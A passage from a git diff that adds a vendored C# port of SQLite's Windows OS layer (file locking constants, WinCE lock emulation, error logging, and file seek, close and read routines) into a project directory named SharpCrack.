defines the beginning of the locks. By default PENDING_BYTE + ** is set high so that we don't have to allocate an unused page except + ** for very large databases. But one should test the page skipping logic + ** by setting PENDING_BYTE low and running the entire regression suite. + ** + ** Changing the value of PENDING_BYTE results in a subtly incompatible + ** file format. Depending on how it is changed, you might not notice + ** the incompatibility right away, even running a full regression test. + ** The default location of PENDING_BYTE is the first byte past the + ** 1GB boundary. + ** + */ +#if SQLITE_OMIT_WSD +//# define PENDING_BYTE (0x40000000) + static int PENDING_BYTE = 0x40000000; +#else + //# define PENDING_BYTE sqlite3PendingByte + static int PENDING_BYTE = 0x40000000; +#endif + + static int RESERVED_BYTE = ( PENDING_BYTE + 1 ); + static int SHARED_FIRST = ( PENDING_BYTE + 2 ); + static int SHARED_SIZE = 510; + + /* + ** Wrapper around OS specific sqlite3_os_init() function. + */ + //int sqlite3OsInit(void); + + /* + ** Functions for accessing sqlite3_file methods + */ + //int sqlite3OsClose(sqlite3_file); + //int sqlite3OsRead(sqlite3_file*, void*, int amt, i64 offset); + //int sqlite3OsWrite(sqlite3_file*, const void*, int amt, i64 offset); + //int sqlite3OsTruncate(sqlite3_file*, i64 size); + //int sqlite3OsSync(sqlite3_file*, int); + //int sqlite3OsFileSize(sqlite3_file*, i64 pSize); + //int sqlite3OsLock(sqlite3_file*, int); + //int sqlite3OsUnlock(sqlite3_file*, int); + //int sqlite3OsCheckReservedLock(sqlite3_file *id, int pResOut); + //int sqlite3OsFileControl(sqlite3_file*,int,void); + //#define SQLITE_FCNTL_DB_UNCHANGED 0xca093fa0 + const u32 SQLITE_FCNTL_DB_UNCHANGED = 0xca093fa0; + + //int sqlite3OsSectorSize(sqlite3_file *id); + //int sqlite3OsDeviceCharacteristics(sqlite3_file *id); + //int sqlite3OsShmMap(sqlite3_file *,int,int,int,object volatile *); + //int sqlite3OsShmLock(sqlite3_file *id, int, int, int); + //void sqlite3OsShmBarrier(sqlite3_file *id); + //int sqlite3OsShmUnmap(sqlite3_file *id, int); + + /* + ** Functions for accessing sqlite3_vfs methods + */ + //int sqlite3OsOpen(sqlite3_vfs *, string , sqlite3_file*, int, int ); + //int sqlite3OsDelete(sqlite3_vfs *, string , int); + //int sqlite3OsAccess(sqlite3_vfs *, string , int, int pResOut); + //int sqlite3OsFullPathname(sqlite3_vfs *, string , int, char ); +#if !SQLITE_OMIT_LOAD_EXTENSION + //void *sqlite3OsDlOpen(sqlite3_vfs *, string ); + //void sqlite3OsDlError(sqlite3_vfs *, int, char ); + //void (*sqlite3OsDlSym(sqlite3_vfs *, object *, string ))(void); + //void sqlite3OsDlClose(sqlite3_vfs *, object ); +#endif + //int sqlite3OsRandomness(sqlite3_vfs *, int, char ); + //int sqlite3OsSleep(sqlite3_vfs *, int); + //int sqlite3OsCurrentTimeInt64(sqlite3_vfs *, sqlite3_int64); + + /* + ** Convenience functions for opening and closing files using + ** sqlite3Malloc() to obtain space for the file-handle structure. + */ + //int sqlite3OsOpenMalloc(sqlite3_vfs *, string , sqlite3_file **, int,int); + //int sqlite3OsCloseFree(sqlite3_file ); +#endif // * _SQLITE_OS_H_ */ + + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/os_win_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/os_win_c.cs new file mode 100644 index 0000000..bc65303 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/os_win_c.cs @@ -0,0 +1,3626 @@ +#define SQLITE_OS_WIN + +using System; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using DWORD = System.UInt64; +using HANDLE = System.IntPtr; +using i64 = System.Int64; +using sqlite3_int64 = System.Int64; +using u32 = System.UInt32; +using u8 = System.Byte; +#if !NO_SQLITE_SILVERLIGHT //#if !NOT_WINDOWS_PHONE || SQLITE_SILVERLIGHT +using System.IO.IsolatedStorage; +#endif + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2004 May 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ****************************************************************************** + ** + ** This file contains code that is specific to windows. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" +#if SQLITE_OS_WIN // * This file is used for windows only */ + + /* +** A Note About Memory Allocation: +** +** This driver uses malloc()/free() directly rather than going through +** the SQLite-wrappers sqlite3Malloc()/sqlite3DbFree(db,ref ). Those wrappers +** are designed for use on embedded systems where memory is scarce and +** malloc failures happen frequently. Win32 does not typically run on +** embedded systems, and when it does the developers normally have bigger +** problems to worry about than running out of memory. So there is not +** a compelling need to use the wrappers. +** +** But there is a good reason to not use the wrappers. If we use the +** wrappers then we will get simulated malloc() failures within this +** driver. And that causes all kinds of problems for our tests. We +** could enhance SQLite to deal with simulated malloc failures within +** the OS driver, but the code to deal with those failure would not +** be exercised on Linux (which does not need to malloc() in the driver) +** and so we would have difficulty writing coverage tests for that +** code. Better to leave the code out, we think. +** +** The point of this discussion is as follows: When creating a new +** OS layer for an embedded system, if you use this file as an example, +** avoid the use of malloc()/free(). Those routines work ok on windows +** desktops but not so well in embedded systems. +*/ + + //#include + +#if __CYGWIN__ +//# include +#endif + + /* +** Macros used to determine whether or not to use threads. +*/ +#if THREADSAFE +//# define SQLITE_W32_THREADS 1 +#endif + + /* +** Include code that is common to all os_*.c files +*/ + //#include "os_common.h" + + /* + ** Some microsoft compilers lack this definition. + */ +#if !INVALID_FILE_ATTRIBUTES + //# define INVALID_FILE_ATTRIBUTES ((DWORD)-1) + const int INVALID_FILE_ATTRIBUTES = -1; +#endif + + /* +** Determine if we are dealing with WindowsCE - which has a much +** reduced API. +*/ +#if SQLITE_OS_WINCE +//# define AreFileApisANSI() 1 +//# define GetDiskFreeSpaceW() 0 +#endif + + /* Forward references */ + //typedef struct winShm winShm; /* A connection to shared-memory */ + //typedef struct winShmNode winShmNode; /* A region of shared-memory */ + + /* + ** WinCE lacks native support for file locking so we have to fake it + ** with some code of our own. + */ +#if SQLITE_OS_WINCE +typedef struct winceLock { +int nReaders; /* Number of reader locks obtained */ +BOOL bPending; /* Indicates a pending lock has been obtained */ +BOOL bReserved; /* Indicates a reserved lock has been obtained */ +BOOL bExclusive; /* Indicates an exclusive lock has been obtained */ +} winceLock; +#endif + + private static LockingStrategy lockingStrategy = HelperMethods.IsRunningMediumTrust() ? new MediumTrustLockingStrategy() : new LockingStrategy(); + + /* + ** The winFile structure is a subclass of sqlite3_file* specific to the win32 + ** portability layer. + */ + //typedef struct sqlite3_file sqlite3_file; + public partial class sqlite3_file + { + public sqlite3_vfs pVfs; /* The VFS used to open this file */ + public FileStream fs; /* Filestream access to this file*/ + // public HANDLE h; /* Handle for accessing the file */ + public int locktype; /* Type of lock currently held on this file */ + public int sharedLockByte; /* Randomly chosen byte used as a shared lock */ + public DWORD lastErrno; /* The Windows errno from the last I/O error */ + public DWORD sectorSize; /* Sector size of the device file is on */ +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +public winShm pShm; /* Instance of shared memory on this file */ +#else + public object pShm; /* DUMMY Instance of shared memory on this file */ +#endif + public string zPath; /* Full pathname of this file */ + public int szChunk; /* Chunk size configured by FCNTL_CHUNK_SIZE */ +#if SQLITE_OS_WINCE +Wstring zDeleteOnClose; /* Name of file to delete when closing */ +HANDLE hMutex; /* Mutex used to control access to shared lock */ +HANDLE hShared; /* Shared memory segment used for locking */ +winceLock local; /* Locks obtained by this instance of sqlite3_file */ +winceLock *shared; /* Global shared lock memory for the file */ +#endif + + public void Clear() + { + pMethods = null; + fs = null; + locktype = 0; + sharedLockByte = 0; + lastErrno = 0; + sectorSize = 0; + } + }; + + /* + ** Forward prototypes. + */ + //static int getSectorSize( + // sqlite3_vfs *pVfs, + // string zRelative /* UTF-8 file name */ + //); + + /* + ** The following variable is (normally) set once and never changes + ** thereafter. It records whether the operating system is Win95 + ** or WinNT. + ** + ** 0: Operating system unknown. + ** 1: Operating system is Win95. + ** 2: Operating system is WinNT. + ** + ** In order to facilitate testing on a WinNT system, the test fixture + ** can manually set this value to 1 to emulate Win98 behavior. + */ +#if SQLITE_TEST + int sqlite3_os_type = 0; +#else +static int sqlite3_os_type = 0; +#endif + + /* +** Return true (non-zero) if we are running under WinNT, Win2K, WinXP, +** or WinCE. Return false (zero) for Win95, Win98, or WinME. +** +** Here is an interesting observation: Win95, Win98, and WinME lack +** the LockFileEx() API. But we can still statically link against that +** API as long as we don't call it when running Win95/98/ME. A call to +** this routine is used to determine if the host is Win95/98/ME or +** WinNT/2K/XP so that we will know whether or not we can safely call +** the LockFileEx() API. +*/ +#if SQLITE_OS_WINCE +//# define isNT() (1) +#else + static bool isNT() + { + //if (sqlite3_os_type == 0) + //{ + // OSVERSIONINFO sInfo; + // sInfo.dwOSVersionInfoSize = sInfo.Length; + // GetVersionEx(&sInfo); + // sqlite3_os_type = sInfo.dwPlatformId == VER_PLATFORM_WIN32_NT ? 2 : 1; + //} + //return sqlite3_os_type == 2; + return Environment.OSVersion.Platform >= PlatformID.Win32NT; + } +#endif // * SQLITE_OS_WINCE */ + + /* +** Convert a UTF-8 string to microsoft unicode (UTF-16?). +** +** Space to hold the returned string is obtained from malloc. +*/ + //static WCHAR *utf8ToUnicode(string zFilename){ + // int nChar; + // Wstring zWideFilename; + + // nChar = MultiByteToWideChar(CP_UTF8, 0, zFilename, -1, NULL, 0); + // zWideFilename = malloc( nChar*sizeof(zWideFilename[0]) ); + // if( zWideFilename==0 ){ + // return 0; + // } + // nChar = MultiByteToWideChar(CP_UTF8, 0, zFilename, -1, zWideFilename, nChar); + // if( nChar==0 ){ + // free(zWideFilename); + // zWideFileName = ""; + // } + // return zWideFilename; + //} + + /* + ** Convert microsoft unicode to UTF-8. Space to hold the returned string is + ** obtained from malloc(). + */ + //static char *unicodeToUtf8(const Wstring zWideFilename){ + // int nByte; + // string zFilename; + + // nByte = WideCharToMultiByte(CP_UTF8, 0, zWideFilename, -1, 0, 0, 0, 0); + // zFilename = malloc( nByte ); + // if( zFilename==0 ){ + // return 0; + // } + // nByte = WideCharToMultiByte(CP_UTF8, 0, zWideFilename, -1, zFilename, nByte, + // 0, 0); + // if( nByte == 0 ){ + // free(zFilename); + // zFileName = ""; + // } + // return zFilename; + //} + + /* + ** Convert an ansi string to microsoft unicode, based on the + ** current codepage settings for file apis. + ** + ** Space to hold the returned string is obtained + ** from malloc. + */ + //static WCHAR *mbcsToUnicode(string zFilename){ + // int nByte; + // Wstring zMbcsFilename; + // int codepage = AreFileApisANSI() ? CP_ACP : CP_OEMCP; + + // nByte = MultiByteToWideChar(codepage, 0, zFilename, -1, NULL,0)*WCHAR.Length; + // zMbcsFilename = malloc( nByte*sizeof(zMbcsFilename[0]) ); + // if( zMbcsFilename==0 ){ + // return 0; + // } + // nByte = MultiByteToWideChar(codepage, 0, zFilename, -1, zMbcsFilename, nByte); + // if( nByte==0 ){ + // free(zMbcsFilename); + // zMbcsFileName = ""; + // } + // return zMbcsFilename; + //} + + /* + ** Convert microsoft unicode to multibyte character string, based on the + ** user's Ansi codepage. + ** + ** Space to hold the returned string is obtained from + ** malloc(). + */ + //static char *unicodeToMbcs(const Wstring zWideFilename){ + // int nByte; + // string zFilename; + // int codepage = AreFileApisANSI() ? CP_ACP : CP_OEMCP; + + // nByte = WideCharToMultiByte(codepage, 0, zWideFilename, -1, 0, 0, 0, 0); + // zFilename = malloc( nByte ); + // if( zFilename==0 ){ + // return 0; + // } + // nByte = WideCharToMultiByte(codepage, 0, zWideFilename, -1, zFilename, nByte, + // 0, 0); + // if( nByte == 0 ){ + // free(zFilename); + // zFileName = ""; + // } + // return zFilename; + //} + + /* + ** Convert multibyte character string to UTF-8. Space to hold the + ** returned string is obtained from malloc(). + */ + //static char *sqlite3_win32_mbcs_to_utf8(string zFilename){ + // string zFilenameUtf8; + // Wstring zTmpWide; + + // zTmpWide = mbcsToUnicode(zFilename); + // if( zTmpWide==0 ){ + // return 0; + // } + // zFilenameUtf8 = unicodeToUtf8(zTmpWide); + // free(zTmpWide); + // return zFilenameUtf8; + //} + + /* + ** Convert UTF-8 to multibyte character string. Space to hold the + ** returned string is obtained from malloc(). + */ + //char *sqlite3_win32_utf8_to_mbcs(string zFilename){ + // string zFilenameMbcs; + // Wstring zTmpWide; + + // zTmpWide = utf8ToUnicode(zFilename); + // if( zTmpWide==0 ){ + // return 0; + // } + // zFilenameMbcs = unicodeToMbcs(zTmpWide); + // free(zTmpWide); + // return zFilenameMbcs; + //} + +/* +** The return value of getLastErrorMsg +** is zero if the error message fits in the buffer, or non-zero +** otherwise (if the message was truncated). +*/ +static int getLastErrorMsg(int nBuf, ref string zBuf){ + /* FormatMessage returns 0 on failure. Otherwise it + ** returns the number of TCHARs written to the output + ** buffer, excluding the terminating null char. + */ + //DWORD error = GetLastError(); + //DWORD dwLen = 0; + //string zOut = ""; + + //if( isNT() ){ + //Wstring zTempWide = NULL; + //dwLen = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + // NULL, + // error, + // 0, + // (LPWSTR) &zTempWide, + // 0, + // 0); +#if !NO_SQLITE_SILVERLIGHT + zBuf = "Unknown error"; +#else + zBuf = Marshal.GetLastWin32Error().ToString();//new Win32Exception( Marshal.GetLastWin32Error() ).Message; +#endif + + //if( dwLen > 0 ){ + // /* allocate a buffer and convert to UTF8 */ + // zOut = unicodeToUtf8(zTempWide); + // /* free the system buffer allocated by FormatMessage */ + // LocalFree(zTempWide); + //} +/* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. +** Since the ASCII version of these Windows API do not exist for WINCE, +** it's important to not reference them for WINCE builds. +*/ +//#if !SQLITE_OS_WINCE //==0 +// }else{ +// string zTemp = null; +// dwLen = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, +// null, +// error, +// 0, +// ref zTemp, +// 0, +// 0); +// if( dwLen > 0 ){ +// /* allocate a buffer and convert to UTF8 */ +// zOut = sqlite3_win32_mbcs_to_utf8(zTemp); +// /* free the system buffer allocated by FormatMessage */ +// LocalFree(zTemp); +// } +//#endif +// } + //if( 0 == dwLen ){ + // sqlite3_snprintf(nBuf, zBuf, "OsError 0x%x (%u)", error, error); + //}else{ + // /* copy a maximum of nBuf chars to output buffer */ + // sqlite3_snprintf(nBuf, zBuf, "%s", zOut); + // /* free the UTF8 buffer */ + // free(zOut); + //} + return 0; +} + +/* +** +** This function - winLogErrorAtLine() - is only ever called via the macro +** winLogError(). +** +** This routine is invoked after an error occurs in an OS function. +** It logs a message using sqlite3_log() containing the current value of +** error code and, if possible, the human-readable equivalent from +** FormatMessage. +** +** The first argument passed to the macro should be the error code that +** will be returned to SQLite (e.g. SQLITE_IOERR_DELETE, SQLITE_CANTOPEN). +** The two subsequent arguments should be the name of the OS function that +** failed and the the associated file-system path, if any. +*/ +//#define winLogError(a,b,c) winLogErrorAtLine(a,b,c,__LINE__) +static int winLogError( int a, string b, string c ) +{ + StackTrace st = new StackTrace( new StackFrame( true ) ); + StackFrame sf = st.GetFrame( 0 ); + + return winLogErrorAtLine( a, b, c, sf.GetFileLineNumber() ); +} + +static int winLogErrorAtLine( + int errcode, /* SQLite error code */ + string zFunc, /* Name of OS function that failed */ + string zPath, /* File path associated with error */ + int iLine /* Source line number where error occurred */ +){ + string zMsg = null; /* Human readable error text */ + int i; /* Loop counter */ + DWORD iErrno;// = GetLastError(); /* Error code */ +#if !NO_SQLITE_SILVERLIGHT + iErrno = (int)ERROR_NOT_SUPPORTED; +#else + iErrno = (u32)Marshal.GetLastWin32Error(); +#endif + + //zMsg[0] = 0; + getLastErrorMsg( 500, ref zMsg ); + Debug.Assert( errcode != SQLITE_OK ); + if ( zPath == null ) + zPath = ""; + for ( i = 0; i < zMsg.Length && zMsg[i] != '\r' && zMsg[i] != '\n'; i++ ) + { + } + zMsg = zMsg.Substring( 0, i ); + sqlite3_log(errcode, + "os_win.c:%d: (%d) %s(%s) - %s", + iLine, iErrno, zFunc, zPath, zMsg + ); + + return errcode; +} + + +#if SQLITE_OS_WINCE +/************************************************************************* +** This section contains code for WinCE only. +*/ +/* +** WindowsCE does not have a localtime() function. So create a +** substitute. +*/ +//#include +struct tm *__cdecl localtime(const time_t *t) +{ +static struct tm y; +FILETIME uTm, lTm; +SYSTEMTIME pTm; +sqlite3_int64 t64; +t64 = *t; +t64 = (t64 + 11644473600)*10000000; +uTm.dwLowDateTime = (DWORD)(t64 & 0xFFFFFFFF); +uTm.dwHighDateTime= (DWORD)(t64 >> 32); +FileTimeToLocalFileTime(&uTm,&lTm); +FileTimeToSystemTime(&lTm,&pTm); +y.tm_year = pTm.wYear - 1900; +y.tm_mon = pTm.wMonth - 1; +y.tm_wday = pTm.wDayOfWeek; +y.tm_mday = pTm.wDay; +y.tm_hour = pTm.wHour; +y.tm_min = pTm.wMinute; +y.tm_sec = pTm.wSecond; +return &y; +} + +/* This will never be called, but defined to make the code compile */ +//#define GetTempPathA(a,b) + +//#define LockFile(a,b,c,d,e) winceLockFile(&a, b, c, d, e) +//#define UnlockFile(a,b,c,d,e) winceUnlockFile(&a, b, c, d, e) +//#define LockFileEx(a,b,c,d,e,f) winceLockFileEx(&a, b, c, d, e, f) + +//#define HANDLE_TO_WINFILE(a) (winFile)&((char)a)[-(int)offsetof(winFile,h)] + +/* +** Acquire a lock on the handle h +*/ +static void winceMutexAcquire(HANDLE h){ +DWORD dwErr; +do { +dwErr = WaitForSingleObject(h, INFINITE); +} while (dwErr != WAIT_OBJECT_0 && dwErr != WAIT_ABANDONED); +} +/* +** Release a lock acquired by winceMutexAcquire() +*/ +//#define winceMutexRelease(h) ReleaseMutex(h) + +/* +** Create the mutex and shared memory used for locking in the file +** descriptor pFile +*/ +static BOOL winceCreateLock(string zFilename, sqlite3_file pFile){ +Wstring zTok; +Wstring zName = utf8ToUnicode(zFilename); +BOOL bInit = TRUE; + +/* Initialize the local lockdata */ +ZeroMemory(pFile.local, pFile.local).Length; + +/* Replace the backslashes from the filename and lowercase it +** to derive a mutex name. */ +zTok = CharLowerW(zName); +for (;*zTok;zTok++){ +if (*zTok == '\\') *zTok = '_'; +} + +/* Create/open the named mutex */ +pFile.hMutex = CreateMutexW(NULL, FALSE, zName); +if (!pFile.hMutex){ +pFile.lastErrno = (u32)GetLastError(); +winLogError(SQLITE_ERROR, "winceCreateLock1", zFilename); +free(zName); +return FALSE; +} + +/* Acquire the mutex before continuing */ +winceMutexAcquire(pFile.hMutex); + +/* Since the names of named mutexes, semaphores, file mappings etc are +** case-sensitive, take advantage of that by uppercasing the mutex name +** and using that as the shared filemapping name. +*/ +CharUpperW(zName); +pFile.hShared = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, +PAGE_READWRITE, 0, winceLock.Length, +zName); + +/* Set a flag that indicates we're the first to create the memory so it +** must be zero-initialized */ +if (GetLastError() == ERROR_ALREADY_EXISTS){ +bInit = FALSE; +} + +free(zName); + +/* If we succeeded in making the shared memory handle, map it. */ +if (pFile.hShared){ +pFile.shared = (winceLock)MapViewOfFile(pFile.hShared, +FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, winceLock).Length; +/* If mapping failed, close the shared memory handle and erase it */ +if (!pFile.shared){ +pFile.lastErrno = (u32)GetLastError(); +winLogError(SQLITE_ERROR, "winceCreateLock2", zFilename); +CloseHandle(pFile.hShared); +pFile.hShared = NULL; +} +} + +/* If shared memory could not be created, then close the mutex and fail */ +if (pFile.hShared == NULL){ +winceMutexRelease(pFile.hMutex); +CloseHandle(pFile.hMutex); +pFile.hMutex = NULL; +return FALSE; +} + +/* Initialize the shared memory if we're supposed to */ +if (bInit) { +ZeroMemory(pFile.shared, winceLock).Length; +} + +winceMutexRelease(pFile.hMutex); +return TRUE; +} + +/* +** Destroy the part of sqlite3_file that deals with wince locks +*/ +static void winceDestroyLock(sqlite3_file pFile){ +if (pFile.hMutex){ +/* Acquire the mutex */ +winceMutexAcquire(pFile.hMutex); + +/* The following blocks should probably Debug.Assert in debug mode, but they +are to cleanup in case any locks remained open */ +if (pFile.local.nReaders){ +pFile.shared.nReaders --; +} +if (pFile.local.bReserved){ +pFile.shared.bReserved = FALSE; +} +if (pFile.local.bPending){ +pFile.shared.bPending = FALSE; +} +if (pFile.local.bExclusive){ +pFile.shared.bExclusive = FALSE; +} + +/* De-reference and close our copy of the shared memory handle */ +UnmapViewOfFile(pFile.shared); +CloseHandle(pFile.hShared); + +/* Done with the mutex */ +winceMutexRelease(pFile.hMutex); +CloseHandle(pFile.hMutex); +pFile.hMutex = NULL; +} +} + +/* +** An implementation of the LockFile() API of windows for wince +*/ +static BOOL winceLockFile( +HANDLE *phFile, +DWORD dwFileOffsetLow, +DWORD dwFileOffsetHigh, +DWORD nNumberOfBytesToLockLow, +DWORD nNumberOfBytesToLockHigh +){ +winFile *pFile = HANDLE_TO_WINFILE(phFile); +BOOL bReturn = FALSE; + +UNUSED_PARAMETER(dwFileOffsetHigh); +UNUSED_PARAMETER(nNumberOfBytesToLockHigh); + +if (!pFile.hMutex) return TRUE; +winceMutexAcquire(pFile.hMutex); + +/* Wanting an exclusive lock? */ +if (dwFileOffsetLow == (DWORD)SHARED_FIRST +&& nNumberOfBytesToLockLow == (DWORD)SHARED_SIZE){ +if (pFile.shared.nReaders == 0 && pFile.shared.bExclusive == 0){ +pFile.shared.bExclusive = TRUE; +pFile.local.bExclusive = TRUE; +bReturn = TRUE; +} +} + +/* Want a read-only lock? */ +else if (dwFileOffsetLow == (DWORD)SHARED_FIRST && +nNumberOfBytesToLockLow == 1){ +if (pFile.shared.bExclusive == 0){ +pFile.local.nReaders ++; +if (pFile.local.nReaders == 1){ +pFile.shared.nReaders ++; +} +bReturn = TRUE; +} +} + +/* Want a pending lock? */ +else if (dwFileOffsetLow == (DWORD)PENDING_BYTE && nNumberOfBytesToLockLow == 1){ +/* If no pending lock has been acquired, then acquire it */ +if (pFile.shared.bPending == 0) { +pFile.shared.bPending = TRUE; +pFile.local.bPending = TRUE; +bReturn = TRUE; +} +} + +/* Want a reserved lock? */ +else if (dwFileOffsetLow == (DWORD)RESERVED_BYTE && nNumberOfBytesToLockLow == 1){ +if (pFile.shared.bReserved == 0) { +pFile.shared.bReserved = TRUE; +pFile.local.bReserved = TRUE; +bReturn = TRUE; +} +} + +winceMutexRelease(pFile.hMutex); +return bReturn; +} + +/* +** An implementation of the UnlockFile API of windows for wince +*/ +static BOOL winceUnlockFile( +HANDLE *phFile, +DWORD dwFileOffsetLow, +DWORD dwFileOffsetHigh, +DWORD nNumberOfBytesToUnlockLow, +DWORD nNumberOfBytesToUnlockHigh +){ +winFile *pFile = HANDLE_TO_WINFILE(phFile); +BOOL bReturn = FALSE; + +UNUSED_PARAMETER(dwFileOffsetHigh); +UNUSED_PARAMETER(nNumberOfBytesToUnlockHigh); + +if (!pFile.hMutex) return TRUE; +winceMutexAcquire(pFile.hMutex); + +/* Releasing a reader lock or an exclusive lock */ +if (dwFileOffsetLow == (DWORD)SHARED_FIRST){ +/* Did we have an exclusive lock? */ +if (pFile.local.bExclusive){ +Debug.Assert(nNumberOfBytesToUnlockLow == (DWORD)SHARED_SIZE); +pFile.local.bExclusive = FALSE; +pFile.shared.bExclusive = FALSE; +bReturn = TRUE; +} + +/* Did we just have a reader lock? */ +else if (pFile.local.nReaders){ +Debug.Assert(nNumberOfBytesToUnlockLow == (DWORD)SHARED_SIZE || nNumberOfBytesToUnlockLow == 1); +pFile.local.nReaders --; +if (pFile.local.nReaders == 0) +{ +pFile.shared.nReaders --; +} +bReturn = TRUE; +} +} + +/* Releasing a pending lock */ +else if (dwFileOffsetLow == (DWORD)PENDING_BYTE && nNumberOfBytesToUnlockLow == 1){ +if (pFile.local.bPending){ +pFile.local.bPending = FALSE; +pFile.shared.bPending = FALSE; +bReturn = TRUE; +} +} +/* Releasing a reserved lock */ +else if (dwFileOffsetLow == (DWORD)RESERVED_BYTE && nNumberOfBytesToUnlockLow == 1){ +if (pFile.local.bReserved) { +pFile.local.bReserved = FALSE; +pFile.shared.bReserved = FALSE; +bReturn = TRUE; +} +} + +winceMutexRelease(pFile.hMutex); +return bReturn; +} + +/* +** An implementation of the LockFileEx() API of windows for wince +*/ +static BOOL winceLockFileEx( +HANDLE *phFile, +DWORD dwFlags, +DWORD dwReserved, +DWORD nNumberOfBytesToLockLow, +DWORD nNumberOfBytesToLockHigh, +LPOVERLAPPED lpOverlapped +){ +UNUSED_PARAMETER(dwReserved); +UNUSED_PARAMETER(nNumberOfBytesToLockHigh); + +/* If the caller wants a shared read lock, forward this call +** to winceLockFile */ +if (lpOverlapped.Offset == (DWORD)SHARED_FIRST && +dwFlags == 1 && +nNumberOfBytesToLockLow == (DWORD)SHARED_SIZE){ +return winceLockFile(phFile, SHARED_FIRST, 0, 1, 0); +} +return FALSE; +} +/* +** End of the special code for wince +*****************************************************************************/ +#endif // * SQLITE_OS_WINCE */ + + /***************************************************************************** +** The next group of routines implement the I/O methods specified +** by the sqlite3_io_methods object. +******************************************************************************/ + + /* + ** Some microsoft compilers lack this definition. + */ +#if !INVALID_SET_FILE_POINTER + //# define INVALID_SET_FILE_POINTER ((DWORD)-1) + const int INVALID_SET_FILE_POINTER = -1; +#endif + + /* +** Move the current position of the file handle passed as the first +** argument to offset iOffset within the file. If successful, return 0. +** Otherwise, set pFile->lastErrno and return non-zero. +*/ + static int seekWinFile( sqlite3_file id, sqlite3_int64 iOffset ) + { + //LONG upperBits; /* Most sig. 32 bits of new offset */ + //LONG lowerBits; /* Least sig. 32 bits of new offset */ + DWORD dwRet; /* Value returned by SetFilePointer() */ + sqlite3_file pFile = id; + + //upperBits = (LONG)((iOffset>>32) & 0x7fffffff); + //lowerBits = (LONG)(iOffset & 0xffffffff); + + /* API oddity: If successful, SetFilePointer() returns a dword + ** containing the lower 32-bits of the new file-offset. Or, if it fails, + ** it returns INVALID_SET_FILE_POINTER. However according to MSDN, + ** INVALID_SET_FILE_POINTER may also be a valid new offset. So to determine + ** whether an error has actually occured, it is also necessary to call + ** GetLastError(). + */ + //dwRet = SetFilePointer(id, lowerBits, &upperBits, FILE_BEGIN); + //if( (dwRet==INVALID_SET_FILE_POINTER && GetLastError()!=NO_ERROR) ){ + // pFile->lastErrno = GetLastError(); + // winLogError(SQLITE_IOERR_SEEK, "seekWinFile", pFile->zPath); + try + { + id.fs.Seek( iOffset, SeekOrigin.Begin ); // SetFilePointer(pFile.fs.Name, lowerBits, upperBits, FILE_BEGIN); + } + catch ( Exception e ) + { +#if !NO_SQLITE_SILVERLIGHT + pFile.lastErrno = 1; +#else + pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); +#endif + winLogError(SQLITE_IOERR_SEEK, "seekWinFile", pFile.zPath); + return 1; + } + + return 0; + } + + /* + ** Close a file. + ** + ** It is reported that an attempt to close a handle might sometimes + ** fail. This is a very unreasonable result, but windows is notorious + ** for being unreasonable so I do not doubt that it might happen. If + ** the close fails, we pause for 100 milliseconds and try again. As + ** many as MX_CLOSE_ATTEMPT attempts to close the handle are made before + ** giving up and returning an error. + */ + public static int MX_CLOSE_ATTEMPT = 3; + static int winClose( sqlite3_file id ) + { + bool rc; + int cnt = 0; + sqlite3_file pFile = (sqlite3_file)id; + + Debug.Assert( id != null ); + Debug.Assert( pFile.pShm == null ); +#if SQLITE_DEBUG + OSTRACE( "CLOSE %d (%s)\n", pFile.fs.GetHashCode(), pFile.fs.Name ); +#endif + do + { + pFile.fs.Close(); + rc = true; + // rc = CloseHandle(pFile.h); + /* SimulateIOError( rc=0; cnt=MX_CLOSE_ATTEMPT; ); */ + // if (!rc && ++cnt < MX_CLOSE_ATTEMPT) Thread.Sleep(100); //, 1) ); + } while ( !rc && ++cnt < MX_CLOSE_ATTEMPT ); //, 1) ); +#if SQLITE_OS_WINCE +//#define WINCE_DELETION_ATTEMPTS 3 +winceDestroyLock(pFile); +if( pFile.zDeleteOnClose ){ +int cnt = 0; +while( +DeleteFileW(pFile.zDeleteOnClose)==0 +&& GetFileAttributesW(pFile.zDeleteOnClose)!=0xffffffff +&& cnt++ < WINCE_DELETION_ATTEMPTS +){ +Sleep(100); /* Wait a little before trying again */ +} +free(pFile.zDeleteOnClose); +} +#endif +#if SQLITE_TEST + OSTRACE( "CLOSE %d %s\n", pFile.fs.GetHashCode(), rc ? "ok" : "failed" ); + OpenCounter( -1 ); +#endif + return rc ? SQLITE_OK : winLogError(SQLITE_IOERR_CLOSE, "winClose", pFile.zPath); + } + + + /* + ** Read data from a file into a buffer. Return SQLITE_OK if all + ** bytes were read successfully and SQLITE_IOERR if anything goes + ** wrong. + */ + static int winRead( + sqlite3_file id, /* File to read from */ + byte[] pBuf, /* Write content into this buffer */ + int amt, /* Number of bytes to read */ + sqlite3_int64 offset /* Begin reading at this offset */ + ) + { + + long rc; + sqlite3_file pFile = id; + int nRead; /* Number of bytes actually read from file */ + + Debug.Assert( id != null ); +#if SQLITE_TEST + if ( SimulateIOError() ) + return SQLITE_IOERR_READ; +#endif +#if SQLITE_DEBUG + OSTRACE( "READ %d lock=%d\n", pFile.fs.GetHashCode(), pFile.locktype ); +#endif + if ( 